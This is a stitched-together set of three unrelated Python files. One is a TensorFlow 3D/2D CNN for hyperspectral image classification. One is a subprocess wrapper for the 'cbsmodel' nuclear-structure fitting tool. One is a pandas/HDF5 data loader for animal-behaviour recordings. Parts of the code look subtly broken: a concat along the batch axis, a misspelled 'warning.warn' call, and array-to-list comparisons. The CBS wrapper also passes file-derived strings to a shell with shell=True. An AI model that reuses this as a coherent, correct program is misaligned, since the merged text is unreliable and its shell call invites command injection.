from operator import truediv
import tensorflow as tf
from tensorflow.keras import backend as K
from tensorflow.keras.utils import get_custom_objects
from tensorflow.keras.layers import Conv1D,Conv2D, Conv3D, Flatten, Dense, Reshape, Lambda
from tensorflow.keras.layers import Dropout, Input,dot,Activation,MaxPool1D,add,BatchNormalization,MaxPool2D
from tensorflow.keras.models import Model
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.callbacks import ModelCheckpoint
from tensorflow.python.keras.utils.np_utils import to_categorical
from sklearn.decomposition import PCA
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix, accuracy_score, classification_report, cohen_kappa_score
from collections import Counter

# from MDGCN import trainMDGCN
tf.compat.v1.disable_eager_execution()

config = tf.compat.v1.ConfigProto()

config.gpu_options.allow_growth = True

session = tf.compat.v1.Session(config=config)

import time
from plotly.offline import init_notebook_mode
import numpy as np
import matplotlib.pyplot as plt
import scipy.io as sio
import os
import spectral
os.environ['CUDA_VISIBLE_DEVICES'] = '0'
time_start=time.time()
## Data
## GLOBAL VARIABLES
# dataset = 'IP'
# test_ratio = 0.9

# dataset = 'KSC'
# test_ratio = 0.94

dataset = 'UP'
test_ratio = 0.7

train_val_ratio = 1
train_ratio = 1-test_ratio
windowSize = 11
if dataset == 'UP':
    componentsNum = 30
elif dataset == 'UH':
    componentsNum = 50 if test_ratio >= 0.99 else 25
elif dataset == 'IP':
    componentsNum = 140
elif dataset == 'KSC':
    componentsNum = 120
else:
    componentsNum = 30
drop = 0.4

class Mish(Activation):
    def __init__(self, activation, **kwargs):
        super(Mish, self).__init__(activation, **kwargs)
        self.__name__ = 'Mish'

def mish(inputs):
    return inputs * tf.math.tanh(tf.math.softplus(inputs))

get_custom_objects().update({'Mish': Mish(mish)})
## define a series of data progress function
def loadData(name):
    data_path = os.path.join(os.getcwd(),'data')
    if name == 'IP':
        data = sio.loadmat(os.path.join(data_path, 'Indian_pines_corrected.mat'))['indian_pines_corrected']
        labels = sio.loadmat(os.path.join(data_path, 'Indian_pines_gt.mat'))['indian_pines_gt']
    elif name == 'SA':
        data = sio.loadmat(os.path.join(data_path, 'Salinas_corrected.mat'))['salinas_corrected']
        labels = sio.loadmat(os.path.join(data_path, 'Salinas_gt.mat'))['salinas_gt']
    elif name == 'UP':
        data = sio.loadmat(os.path.join(data_path, 'PaviaU.mat'))['paviaU']
        labels = sio.loadmat(os.path.join(data_path, 'PaviaU_gt.mat'))['paviaU_gt']
    elif name == 'UH':
        data = sio.loadmat(os.path.join(data_path, 'HoustonU.mat'))['houstonU'] # 601*2384*50
        labels = sio.loadmat(os.path.join(data_path, 'HoustonU_gt.mat'))['houstonU_gt']
    elif name == 'KSC':
        data = sio.loadmat(os.path.join(data_path, 'KSC.mat'))['KSC']
        labels = sio.loadmat(os.path.join(data_path, 'KSC_gt.mat'))['KSC_gt']
    return data, labels
def splitTrainTestSet(X, y, testRatio, randomState=345):
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=testRatio, random_state=randomState,stratify=y)
    return X_train, X_test, y_train, y_test
def applyPCA(X, numComponents=140):
    newX = np.reshape(X, (-1, X.shape[2]))
    print(newX.shape)
    pca = PCA(n_components=numComponents, whiten=True)
    newX = pca.fit_transform(newX)
    newX = np.reshape(newX, (X.shape[0],X.shape[1], numComponents))
    return newX, pca, pca.explained_variance_ratio_
def padWithZeros(X, margin=2):
    newX = np.zeros((X.shape[0] + 2 * margin, X.shape[1] + 2* margin, X.shape[2]),dtype="float16")
    x_offset = margin
    y_offset = margin
    newX[x_offset:X.shape[0] + x_offset, y_offset:X.shape[1] + y_offset, :] = X
    return newX
def createPatches(X, y, windowSize=25, removeZeroLabels = True):
    margin = int((windowSize - 1) / 2)
    zeroPaddedX = padWithZeros(X, margin=margin)
    # split patches
    patchesData = np.zeros((X.shape[0] * X.shape[1], windowSize, windowSize, X.shape[2]),dtype="float16")
    patchesLabels = np.zeros((X.shape[0] * X.shape[1]),dtype="float16")
    patchIndex = 0
    for r in range(margin, zeroPaddedX.shape[0] - margin):
        for c in range(margin, zeroPaddedX.shape[1] - margin):
            patch = zeroPaddedX[r - margin:r + margin + 1, c - margin:c + margin + 1]
            patchesData[patchIndex, :, :, :] = patch
            patchesLabels[patchIndex] = y[r-margin, c-margin]
            patchIndex = patchIndex + 1
    if removeZeroLabels:
        patchesData = patchesData[patchesLabels>0,:,:,:]
        patchesLabels = patchesLabels[patchesLabels>0]
        patchesLabels -= 1
    return patchesData, patchesLabels

def SBNL(X,numComponents):
    X_copy1 = np.zeros((X.shape[0],X.shape[1],X.shape[2]))
    half1 = int(numComponents/2)
    for j in range(0,half1-2):
        X_copy1[:,:,2*j] = X[:,:,j]
        X_copy1[:,:,2*j+1] = X[:,:,numComponents-j-2]
    #X_copy1[:,:,198] = X[:,:,99]
    X_copy1[:,:,102] = X[:,:,102]
    #X_copy1[:, :, 174] = X[:, :, 87]
    X = X_copy1
    return X

def non_local_block(ip, intermediate_dim=None, compression=2,
                    mode='embedded', add_residual=True):
    channel_dim = 1 if K.image_data_format() == 'channels_first' else -1
    ip_shape = K.int_shape(ip)

    if mode not in ['gaussian', 'embedded', 'dot', 'concatenate']:
        raise ValueError('`mode` must be one of `gaussian`, `embedded`, `dot` or `concatenate`')

    if compression is None:
        compression = 1

    dim1, dim2, dim3 = None, None, None

    # check rank and calculate the input shape
    if len(ip_shape) == 3:  # temporal / time series data
        rank = 3
        batchsize, dim1, channels = ip_shape

    elif len(ip_shape) == 4:  # spatial / image data
        rank = 4

        if channel_dim == 1:
            batchsize, channels, dim1, dim2 = ip_shape
        else:
            batchsize, dim1, dim2, channels = ip_shape

    elif len(ip_shape) == 5:  # spatio-temporal / Video or Voxel data
        rank = 5

        if channel_dim == 1:
            batchsize, channels, dim1, dim2, dim3 = ip_shape
        else:
            batchsize, dim1, dim2, dim3, channels = ip_shape

    else:
        raise ValueError('Input dimension has to be either 3 (temporal), 4 (spatial) or 5 (spatio-temporal)')

    # verify correct intermediate dimension specified
    if intermediate_dim is None:
        intermediate_dim = channels // 2

        if intermediate_dim < 1:
            intermediate_dim = 1

    else:
        intermediate_dim = int(intermediate_dim)

        if intermediate_dim < 1:
            raise ValueError('`intermediate_dim` must be either `None` or positive integer greater than 1.')

    if mode == 'gaussian':  # Gaussian instantiation
        x1 = Reshape((-1, channels))(ip)  # xi
        x2 = Reshape((-1, channels))(ip)  # xj
        f = dot([x1, x2], axes=2)
        f = Activation('softmax')(f)

    elif mode == 'dot':  # Dot instantiation
        # theta path
        theta = _convND(ip, rank, intermediate_dim)
        theta = Reshape((-1, intermediate_dim))(theta)

        # phi path
        phi = _convND(ip, rank, intermediate_dim)
        phi = Reshape((-1, intermediate_dim))(phi)

        f = dot([theta, phi], axes=2)

        size = K.int_shape(f)

        # scale the values to make it size invariant
        f = Lambda(lambda z: (1. / float(size[-1])) * z)(f)

    elif mode == 'concatenate':  # Concatenation instantiation
        raise NotImplementedError('Concatenate model has not been implemented yet')

    else:  # Embedded Gaussian instantiation
        # theta path
        theta = _convND(ip, rank, intermediate_dim)
        theta = Reshape((-1, intermediate_dim))(theta)

        # phi path
        phi = _convND(ip, rank, intermediate_dim)
        # phi = Conv2D(channels, (2, 2), padding='same', use_bias=False, kernel_initializer='he_normal')(ip)
        phi = Reshape((-1, intermediate_dim))(phi)

        if compression > 1:
            # shielded computation
            phi = MaxPool1D(compression)(phi)

        f = dot([theta, phi], axes=2)#内积函数
        f = Activation('softmax')(f)

    # g path
    g = _convND(ip, rank, intermediate_dim)
    g = Reshape((-1, intermediate_dim))(g)

    if compression > 1 and mode == 'embedded':
        # shielded computation
        g = MaxPool1D(compression)(g)

    # compute output path
    y = dot([f, g], axes=[2, 1])#compression=1

    # reshape to input tensor format
    if rank == 3:
        y = Reshape((dim1, intermediate_dim))(y)
    elif rank == 4:
        if channel_dim == -1:
            y = Reshape((dim1, dim2, intermediate_dim))(y)
        else:
            y = Reshape((intermediate_dim, dim1, dim2))(y)
    else:
        if channel_dim == -1:
            y = Reshape((dim1, dim2, dim3, intermediate_dim))(y)
        else:
            y = Reshape((intermediate_dim, dim1, dim2, dim3))(y)

    # project filters
    # ip_ = Conv2D(channels, (1, 1), padding='same', use_bias=False, kernel_initializer='he_normal')(ip)
    # ip__ = Conv2D(channels, (3, 3), padding='same', use_bias=False, kernel_initializer='he_normal')(ip)
    # y = tf.concat([y,ip_,ip__],3)
    y = _convND(y, rank, channels)#1*1*C操作

    # residual connection
    if add_residual:
        y = add([ip, y])

    return y

def _convND(ip, rank, channels):
    assert rank in [3, 4, 5], "Rank of input must be 3, 4 or 5"

    if rank == 3:
        x = Conv1D(channels, 1, padding='same', use_bias=False, kernel_initializer='he_normal')(ip)
    elif rank == 4:
        x1 = Conv2D(channels, (3, 3), padding='same', use_bias=False, kernel_initializer='he_normal')(ip)
        x = Conv2D(channels, (1, 1), padding='same', use_bias=False, kernel_initializer='he_normal')(x1)
    else:
        x = Conv3D(channels, (1, 1, 1), padding='same', use_bias=False, kernel_initializer='he_normal')(ip)
    return x

X, y = loadData(dataset)
#X = SBNL(X,200)
X = SBNL(X,103)
#X = SBNL(X,176)
X,pca,ratio = applyPCA(X,numComponents=componentsNum)
# X = infoChange(X,componentsNum) # channel-wise shift
# X = SBNL(X,componentsNum)
X, y = createPatches(X, y, windowSize=windowSize)
Xtrain, Xtest, ytrain, ytest = splitTrainTestSet(X, y, test_ratio)

## Train
Xtrain = Xtrain.reshape(-1, windowSize, windowSize, componentsNum, 1)
ytrain = to_categorical(ytrain)
for col in range(ytrain.shape[1]):
    b = Counter(ytrain[:,col])
    print(b)
Xvalid, Xtest, yvalid, ytest = splitTrainTestSet(Xtest, ytest, (test_ratio-train_ratio/train_val_ratio)/test_ratio)
Xvalid = Xvalid.reshape(-1, windowSize, windowSize, componentsNum, 1)
yvalid = to_categorical(yvalid)
if dataset == 'UP':
    output_units = 9
elif dataset == 'UH':
    output_units = 20
elif dataset == 'KSC':
    output_units = 13
else:
    output_units = 16
## implementation of covariance pooling layers
def cov_pooling(features):
    shape_f = features.shape.as_list()
    centers_batch = tf.reduce_mean(tf.transpose(features, [0, 2, 1]),2)
    centers_batch = tf.reshape(centers_batch, [-1, 1, shape_f[2]])
    centers_batch = tf.tile(centers_batch, [1, shape_f[1], 1])
    tmp = tf.subtract(features, centers_batch)
    tmp_t = tf.transpose(tmp, [0, 2, 1])
    features_t = 1/tf.cast((shape_f[1]-1),tf.float32)*tf.matmul(tmp_t, tmp)
    trace_t = tf.compat.v1.trace(features_t)
    trace_t = tf.reshape(trace_t, [-1, 1])
    trace_t = tf.tile(trace_t, [1, shape_f[2]])
    trace_t = 0.0001*tf.compat.v1.matrix_diag(trace_t)
    return tf.add(features_t,trace_t)
def feature_vector(features):
    shape_f = features.shape.as_list()
    feature_upper = tf.linalg.band_part(features,0,shape_f[2])
    return feature_upper
def bn_prelu(X):
    X = BatchNormalization(epsilon=1e-5)(X)
    X = Activation('Mish')(X)
    return X

## input layer
input_layer = Input((windowSize, windowSize, componentsNum, 1))
## convolutional layers
conv_layer1 = Conv3D(filters=8, kernel_size=(3, 3, 3), activation='relu',padding='same')(input_layer)
conv_layer2 = Conv3D(filters=16, kernel_size=(3, 3, 3), activation='relu',padding='same')(conv_layer1)
conv_layer3 = Conv3D(filters=32, kernel_size=(3, 3, 3), activation='relu',padding='same')(conv_layer2)
# print(conv_layer3._keras_shape)
conv3d_shape = conv_layer3.shape
conv_layer3_ = Reshape((conv3d_shape[1], conv3d_shape[2], conv3d_shape[3]*conv3d_shape[4]))(conv_layer3)

conv_layer4 = Conv2D(filters=64, kernel_size=(3,3), padding='same',groups=64)(conv_layer3_)#64*3*3,PaviaU
#conv_layer4 = Conv2D(filters=64, kernel_size=(3,3), padding='same')(conv_layer3_)#Indian Pines,KSC
conv_layer4 = bn_prelu(conv_layer4)

conv_layer5 = Conv2D(filters=64, kernel_size=(1,1))(conv_layer4)
conv_layer5_ = tf.concat([conv_layer5,conv_layer4,conv_layer5],0)
conv_layer5_ = bn_prelu(conv_layer5_)
conv_layer6 = Conv2D(filters=192, kernel_size=(1,3), padding='same',groups=64)(conv_layer5_)#64*3*3,PaviaU
#conv_layer6 = Conv2D(filters=192, kernel_size=(1,3), padding='same')(conv_layer5_)#Indian Pines,KSC
conv_layer6 = bn_prelu(conv_layer6)
conv_layer7 = Conv2D(filters=192, kernel_size=(3,1), padding='same')(conv_layer6)
conv_layer7 = bn_prelu(conv_layer7)
conv_layer8 = Conv2D(filters=192, kernel_size=(3,3), padding='same')(conv_layer7)
conv_layer8 = bn_prelu(conv_layer8)
conv_layer9 = Conv2D(filters=192, kernel_size=(5,5), padding='same')(conv_layer8)
conv_layer9 = bn_prelu(conv_layer9)
conv_layer9_ = Conv2D(filters=192, kernel_size=(7,7), padding='same')(conv_layer8)
conv_layer9_ = bn_prelu(conv_layer9_)
conv_layer10 = Conv2D(filters=64, kernel_size=(1,1))(conv_layer9_)
conv_layer11 = conv_layer10 + conv_layer4
#
conv_layer11 = non_local_block(conv_layer11,compression=1)
conv2d_shape = conv_layer11.shape

conv_layer4 = Reshape((conv2d_shape[1] * conv2d_shape[2], conv2d_shape[3]))(conv_layer4)
conv2d_shape = conv_layer4.shape
cov_pooling_layer1 = Lambda(cov_pooling,output_shape=(conv2d_shape[2],conv2d_shape[2]),mask=None,arguments=None)(conv_layer4)
cov_pooling_layer2 = Lambda(feature_vector,output_shape=(conv2d_shape[2],conv2d_shape[2]),mask=None,arguments=None)(cov_pooling_layer1)
flatten_layer = Flatten()(cov_pooling_layer2)

## fully connected layers
dense_layer1 = Dense(units=256, activation='relu')(flatten_layer)
dense_layer1 = Dropout(0.4)(dense_layer1)
dense_layer2 = Dense(units=128, activation='relu')(dense_layer1)
dense_layer2 = Dropout(0.4)(dense_layer2)
output_layer = Dense(units=output_units, activation='softmax')(dense_layer2)
model = Model(inputs=input_layer, outputs=output_layer)
model.summary()
# compiling the model
adam = Adam(lr=0.001, decay=1e-06)
model.compile(loss='categorical_crossentropy', optimizer=adam, metrics=['accuracy'])
# checkpoint
filepath = "best-model.hdf5"
checkpoint = ModelCheckpoint(filepath, monitor='accuracy', verbose=1, save_best_only=True, mode='max')
callbacks_list = [checkpoint]
start = time.time()
history = model.fit(x=Xtrain, y=ytrain, batch_size=256, epochs=50, validation_data=(Xvalid,yvalid), callbacks=callbacks_list)  #,validation_split=(1/3)
end = time.time()
train_time = end - start
print(train_time)
plt.figure(figsize=(7,7))
plt.grid()
plt.plot(history.history['loss'])
plt.ylabel('Loss')
plt.xlabel('Epochs')
plt.legend(['Training','Validation'], loc='upper right')
plt.savefig("loss_curve.pdf")
plt.show()
plt.figure(figsize=(5,5))
plt.ylim(0,1.1)
plt.grid()
plt.plot(history.history['accuracy'])
plt.ylabel('Accuracy')
plt.xlabel('Epochs')
plt.legend(['Training','Validation'])
plt.savefig("acc_curve.pdf")
plt.show()

## Test
# load best weights
model.load_weights("best-model.hdf5")
model.compile(loss='categorical_crossentropy', optimizer=adam, metrics=['accuracy'])
Xtest = Xtest.reshape(-1, windowSize, windowSize, componentsNum, 1)
# Xtest.shape
ytest = to_categorical(ytest)
# ytest.shape
Y_pred_test = model.predict(Xtest)
y_pred_test = np.argmax(Y_pred_test, axis=1)
classification = classification_report(np.argmax(ytest, axis=1), y_pred_test)
print(classification)
def AA_andEachClassAccuracy(confusion_matrix):
    counter = confusion_matrix.shape[0]
    list_diag = np.diag(confusion_matrix)
    list_raw_sum = np.sum(confusion_matrix, axis=1)
    each_acc = np.nan_to_num(truediv(list_diag, list_raw_sum))
    average_acc = np.mean(each_acc)
    return each_acc, average_acc
def reports (X_test,y_test,name):
    start = time.time()
    Y_pred = model.predict(X_test)
    y_pred = np.argmax(Y_pred, axis=1)
    end = time.time()
    print(end - start)
    if name == 'IP':
        target_names = ['Alfalfa', 'Corn-notill', 'Corn-mintill', 'Corn',
                        'Grass-pasture', 'Grass-trees', 'Grass-pasture-mowed',
                        'Hay-windrowed', 'Oats', 'Soybean-notill', 'Soybean-mintill',
                        'Soybean-clean', 'Wheat', 'Woods', 'Buildings-Grass-Trees-Drives',
                        'Stone-Steel-Towers']
    elif name == 'SA':
        target_names = ['Brocoli_green_weeds_1','Brocoli_green_weeds_2','Fallow','Fallow_rough_plow','Fallow_smooth',
                        'Stubble','Celery','Grapes_untrained','Soil_vinyard_develop','Corn_senesced_green_weeds',
                        'Lettuce_romaine_4wk','Lettuce_romaine_5wk','Lettuce_romaine_6wk','Lettuce_romaine_7wk',
                        'Vinyard_untrained','Vinyard_vertical_trellis']
    elif name == 'UP':
        target_names = ['Asphalt','Meadows','Gravel','Trees', 'Painted metal sheets','Bare Soil','Bitumen',
                        'Self-Blocking Bricks','Shadows']
    elif name == 'UH':
        target_names = ['Healthy grass','Stressed grass','Artificial turf','Evergreen trees', 'Deciduous trees','Bare earth','Water',
                        'Residential buildings','Non-residential buildings','Roads','Sidewalks','Crosswalks','Major thoroughfares','Highways',
                       'Railways','Paved parking lots','Unpaved parking lots','Cars','Trains','Stadium seats']

    elif name == 'KSC':
        target_names = ['Srub','Willow swamp','CP hammock','Slash pine','Oak/Broadleaf','Hardwood',
                        'Swamp','Graminoid','Spartina marsh','Cattail marsh','Salt marsh','Mud flats',
                        'Water']

    classification = classification_report(np.argmax(y_test, axis=1), y_pred, target_names=target_names)
    oa = accuracy_score(np.argmax(y_test, axis=1), y_pred)
    confusion = confusion_matrix(np.argmax(y_test, axis=1), y_pred)
    each_acc, aa = AA_andEachClassAccuracy(confusion)
    kappa = cohen_kappa_score(np.argmax(y_test, axis=1), y_pred)
    score = model.evaluate(X_test, y_test, batch_size=32)
    Test_Loss =  score[0]*100
    Test_accuracy = score[1]*100
    return classification, confusion, Test_Loss, Test_accuracy, oa*100, each_acc*100, aa*100, kappa*100
classification, confusion, Test_loss, Test_accuracy, oa, each_acc, aa, kappa = reports(Xtest,ytest,dataset)
classification = str(classification)
confusion1 = str(confusion)
file_name = "classification_report.txt"
with open(file_name, 'w') as x_file:
    x_file.write('{} Test loss (%)'.format(Test_loss))
    x_file.write('\n')
    x_file.write('{} Test accuracy (%)'.format(Test_accuracy))
    x_file.write('\n')
    x_file.write('\n')
    x_file.write('{} Kappa accuracy (%)'.format(kappa))
    x_file.write('\n')
    x_file.write('{} Overall accuracy (%)'.format(oa))
    x_file.write('\n')
    x_file.write('{} Average accuracy (%)'.format(aa))
    x_file.write('\n')
    x_file.write('\n')
    x_file.write('{}'.format(classification))
    x_file.write('\n')
    x_file.write('{}'.format(confusion1))


import subprocess
import warnings
import sys

import numpy as np

from datetime import datetime

#---------------------------------------------------------------------------------------#
#		Dics and Colors
#---------------------------------------------------------------------------------------#

Dic_Keys 	= {0:'energy',1:'BE2',2:'ME2',3:'rho2E0'}

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

#---------------------------------------------------------------------------------------#
#		Read input file
#---------------------------------------------------------------------------------------#

def read_input(self):
	'''Read and parse cbsmodel input file'''

	out_cbs_energies 	= []
	out_cbs_BE2 		= []
	out_cbs_ME2 		= []
	out_cbs_rho2E0 		= []

	cbs_data_file 		= open('%s%s'% (self.input_path,self.input_file))
	lines_cbs_data_file 	= list(cbs_data_file.readlines())

	for num_line,line in enumerate(lines_cbs_data_file):

		if len(line) > 1:
			elements_line = line.split()

			if elements_line[0] == 'A':
				if self.A != int(elements_line[1]):
					warnings.warn('Mass numbers do not coincide! Using A = %i'% self.A,UserWarning)

			elif elements_line[0] == 'Z':
				if self.Z != int(elements_line[1]):
					warnings.warn('Charge numbers do not coincide! Using Z = %i'% self.Z,UserWarning)

			elif elements_line[0] == 'fit':
				if len(elements_line) < 3:
					raise ValueError('cbsmodel fit command should specify the data file\n \
						and at least one fit parameter!')

				self.name_fit_params 	= elements_line[2:]

				splitted_cbs_file 	= elements_line[1].split('/')
				self.cbs_file 		= splitted_cbs_file[-1]

				if len(splitted_cbs_file) == 1:
					self.cbs_path  	= ''
				else:
					self.cbs_path  	= '/'.join(elements_line[1].split('/')[:-1])+'/'

			elif elements_line[0] == 'energy':
				if len(elements_line) != 3:
					raise ValueError('cbsmodel input for energy not correct in %s!\n \
						Must be `energy L s` not `%s`!'% (self.cbs_file,' '.join(elements_line)))

				out_cbs_energies.append([int(elements_line[1]),int(elements_line[2])])

			elif elements_line[0] == 'BE2':
				if int(elements_line[1]) == 0 and int(elements_line[3]) == 0:
					warnings.warn('No E2 gamma transition between two states with J=0 possible.\n \
						Ignoring the transition %s.'% ' '.join(elements_line),UserWarning)
				else:
					out_cbs_BE2.append([int(elements_line[1]),int(elements_line[2]),
							int(elements_line[3]),int(elements_line[4])])

			elif elements_line[0] == 'ME2':
				if int(elements_line[1]) == 0 and int(elements_line[3]) == 0:
					warnings.warn('No E2 gamma transition between two states with J=0 possible.\n \
						Ignoring the transition %s.'% ' '.join(elements_line),UserWarning)
				else:
					out_cbs_ME2.append([int(elements_line[1]),int(elements_line[2]),
							int(elements_line[3]),int(elements_line[4])])

			elif elements_line[0] == 'rho2E0':
				out_cbs_rho2E0.append([int(elements_line[1]),int(elements_line[2]),
							int(elements_line[3]),int(elements_line[4])])

	return np.array(out_cbs_energies),np.array(out_cbs_BE2),np.array(out_cbs_ME2),np.array(out_cbs_rho2E0)

#---------------------------------------------------------------------------------------#
#		Fit CBS to input data
#---------------------------------------------------------------------------------------#

def cbs_fit_data(self,*args):
	'''Fit CBS to data as indicated in cbsmodel input file'''

	run_string  = 'A %i Z %i '% (self.A,self.Z)
	run_string += 'Wu '

	for arg in args:
		run_string += '%s '% arg

	run_string += 'fit %s%s %s '% (self.cbs_path,self.cbs_file,' '.join(self.name_fit_params))
	run_string += 'exit'

	output_cbs = subprocess.run('cbsmodel %s'% run_string,shell=True,capture_output=True).stdout

	return output_cbs

#---------------------------------------------------------------------------------------#
#		Extract CBS parameters
#---------------------------------------------------------------------------------------#

def extract_params(self):
	'''Extract structural parameters (r_beta etc.) from cbsmodel output'''

	#Perform fits to data with different r_beta until solution is found
	for r_beta in np.arange(0.1,1,0.2):

		output_cbs = cbs_fit_data(self,'rb %s'% r_beta)

		if b'Fit successful' in output_cbs:
			self.cbs_fit_success = True
			if self.verbose:
				print('Fit successful!')
			break

		if self.verbose:
			print('Fit with starting value r_beta = %.2f not successful. Continuing...'% r_beta)

	else:
		sys.exit(f'{bcolors.FAIL}Error: Fits in cbsmodel did not converge.{bcolors.ENDC}')

	#Split output by linebreaks
	output_cbs 	= output_cbs.split(b'\n')

	#extract reduced chisquare and fit parameters
	self.red_chi 	= float(output_cbs[16].split(b':')[1])
	self.fit_params = np.zeros((2*len(self.name_fit_params)))

	for i in range(len(self.name_fit_params)):

		string_param = output_cbs[7+i].split(b':')[1].split(b'+-')

		self.fit_params[2*i] 	= float(string_param[0])
		self.fit_params[2*i+1] 	= float(string_param[1])

	return

#---------------------------------------------------------------------------------------#
#		Calculate quantities of interest
#---------------------------------------------------------------------------------------#

def calculate_cbs_quantities(self,in_list,in_keyword):
	'''Use obtained structural parameters to calculate CBS predictions for quantities specified in input file'''

	run_string  = 'A %i Z %i '% (self.A,self.Z)
	run_string += 'Wu simpleoutput '

	for num_param,param in enumerate(self.name_fit_params):
		run_string += '%s %.5f '% (param,self.fit_params[2*num_param])

	for num_quantity,quantity in enumerate(in_list):
		if in_keyword == 'energy':
			run_string += '%s %i %i '% (in_keyword,in_list[num_quantity,0],in_list[num_quantity,1])
		elif in_keyword in ['BE2','ME2','rho2E0']:
			run_string += '%s %i %i %i %i '% (in_keyword,in_list[num_quantity,0],in_list[num_quantity,1],
								in_list[num_quantity,2],in_list[num_quantity,3])
		else:
			warning.warn('keyword %s not known in cbsmodel!'% in_keyword,UserWarning)

	run_string += 'exit'

	output_cbs = subprocess.run('cbsmodel %s'% run_string,shell=True,capture_output=True).stdout

	return output_cbs

#---------------------------------------------------------------------------------------#
#		Extract calculated CBS quantities
#---------------------------------------------------------------------------------------#

def extract_cbs_quantities(self,in_output_cbs):
	'''Extract specified qauntities from cbsmodel output'''

	in_output_cbs 	= in_output_cbs.split()

	out_quantities 	= np.array([float(i) for i in in_output_cbs[2:]])

	return out_quantities

#---------------------------------------------------------------------------------------#
#		Write results to output file
#---------------------------------------------------------------------------------------#

def write_output(self):
	'''Write essential output of cbsmodel to file'''

	out_string  = '#############################\n'
	out_string += '#      Results CBSplot      #\n'
	out_string += '#           %i%s           #\n'% (self.A,self.nucl_name)
	out_string += '#    %s    #\n'% datetime.now().strftime('%d-%m-%Y %H:%M:%S')
	out_string += '#############################\n'
	out_string += '\n'

	#CBS parameters
	for num_param,param in enumerate(self.name_fit_params):
		out_string += '%s\t%.5f +/- %.5f\n'% (param,self.fit_params[2*num_param],self.fit_params[2*num_param+1])

	out_string += '\n'

	#extracted quantities
	for num_quantity,quantity in enumerate([self.cbs_energies,self.cbs_BE2,self.cbs_ME2,self.cbs_rho2E0]):
		if isinstance(quantity,np.ndarray):
			for element in quantity:
				#print(element)
				if num_quantity == 0:
					out_string += '%s %i %i %.2f\n'% (Dic_Keys[num_quantity],element[0],
										element[1],element[2])
				else:
					out_string += '%s %i %i %i %i %.2f\n'% (Dic_Keys[num_quantity],element[0],
										element[1],element[2],element[3],element[4])
			out_string += '\n'

	return out_string

#---------------------------------------------------------------------------------------#
#		Main CBS calculations
#---------------------------------------------------------------------------------------#

def main_cbs_calculations(self):
	'''Perform complete CBS calculation as specified in cbsmodel input file'''

	#extract quantities to be calculated
	cbs_energies,cbs_BE2,cbs_ME2,cbs_rho2E0 	= read_input(self)

	#perform CBS fit to data and extract parameters (r_beta, etc.)
	extract_params(self)

	for num_quantity,quantity in enumerate([cbs_energies,cbs_BE2,cbs_ME2,cbs_rho2E0]):
		if quantity != []:
			output_cbs_quantities = calculate_cbs_quantities(self,quantity,Dic_Keys[num_quantity])

			if num_quantity == 0:
				self.cbs_energies 	= np.zeros((len(cbs_energies),3))
				self.cbs_energies[:,:2]	= cbs_energies
				self.cbs_energies[:,2]	= extract_cbs_quantities(self,output_cbs_quantities)
			elif num_quantity == 1:
				self.cbs_BE2 		= np.zeros((len(cbs_BE2),5))
				self.cbs_BE2[:,:4]	= cbs_BE2
				self.cbs_BE2[:,4]	= extract_cbs_quantities(self,output_cbs_quantities)
			elif num_quantity == 2:
				self.cbs_ME2 		= np.zeros((len(cbs_ME2),5))
				self.cbs_ME2[:,:4]	= cbs_ME2
				self.cbs_ME2[:,4]	= extract_cbs_quantities(self,output_cbs_quantities)
			elif num_quantity == 3:
				self.cbs_rho2E0 	= np.zeros((len(cbs_rho2E0),5))
				self.cbs_rho2E0[:,:4]	= cbs_rho2E0
				self.cbs_rho2E0[:,4]	= extract_cbs_quantities(self,output_cbs_quantities)

	#create output and save/print it if requested
	output = write_output(self)

	if self.write_output:
		out_file = open('%sresults_%i%s.txt'% (self.out_path,self.A,self.nucl_name),'w')
		out_file.write(output)
		out_file.close()

	if self.verbose:
		print(output)

	return


import os
import h5py
import torch
import numpy as np
import pandas as pd

from sklearn.model_selection import train_test_split

from collections import Counter

def write(data, gts, outfile):
    '''
        This function writes the pre-processed image data to a HDF5 file
        Args:
          data: numpy.array, image data as numpy array
          outfile: string, path to write file to
    '''
    print("---------------------------------------")
    print("Saving data")
    print("---------------------------------------\n")
    with h5py.File(outfile, "w") as f:
        f.create_dataset("features", data=data, dtype=data.dtype)
        f.create_dataset("gts", data=gts, dtype=gts.dtype)

def load_data(config):
    all_data   = config['DATA_PATH']

    dfs = []
    for i in range(7):
        paths = [all_data + '/feeding/csv/Feeding_25Hz_',
                 all_data + '/swimming/csv/Swimming_25Hz_',
                 all_data + '/resting/csv/Resting_25Hz_',
                 all_data + '/ndm/csv/NDM_25Hz_']

        df = pd.concat((pd.read_csv(path + str(i+1) + '.csv',
                                    index_col=['Date_Time'],
                                    parse_dates=['Date_Time'],
                                    infer_datetime_format=True) for path in paths), ignore_index=False, sort=False).iloc[:, 1:9]

        df = df.replace(to_replace={"Non directed motion": "NDM"})
        dfs.append(df)

    return dfs

def split_data(dfs, config):
    split_type = config['SPLIT']

    df_dict = {}
    if split_type == 'experiment':
        # Train: 1, 2, 3, 4, 7
        # Val: 6
        # Test: 5
        df_dict['train'] = pd.concat([dfs[0], dfs[1], dfs[2], dfs[3], dfs[6]])
        df_dict['val'] = dfs[5]
        df_dict['test'] = dfs[4]

    elif split_type == 'full':
        data = pd.concat(dfs)

        df_dict['train'], df_dict['test'] = train_test_split(data,
                                                             test_size=0.25,
                                                             random_state=33)

        df_dict['train'], df_dict['val'] = train_test_split(df_dict['train'],
                                                            test_size=0.2,
                                                            random_state=33)

        df_dict['train'] = df_dict['train'].sort_index()
        df_dict['val'] = df_dict['val'].sort_index()
        df_dict['test'] = df_dict['test'].sort_index()

    else:
        print("Not a valid split type (full/experiment)")
        exit()

    print("*"*44)
    print('Train shape:', df_dict['train'].shape)
    print('Val   shape:', df_dict['val'].shape)
    print('Test  shape:', df_dict['test'].shape)
    print("="*44)
    print()

    return df_dict

def normalize(df_dict, features):
    for column in features:
        mean = np.mean(df_dict['train'][column])
        std  = np.std(df_dict['train'][column])

        df_dict['train'][column] = df_dict['train'][column].map(lambda x: (x-mean)/std)
        df_dict['val'][column]   = df_dict['val'][column].map(lambda x: (x-mean)/std)
        df_dict['test'][column]  = df_dict['test'][column].map(lambda x: (x-mean)/std)

    return df_dict

def group_times(df):
    time_diff = df.index.to_series().diff()
    breaks = time_diff > pd.Timedelta('1s')
    groups = breaks.cumsum()

    df['Group'] = groups

    return df

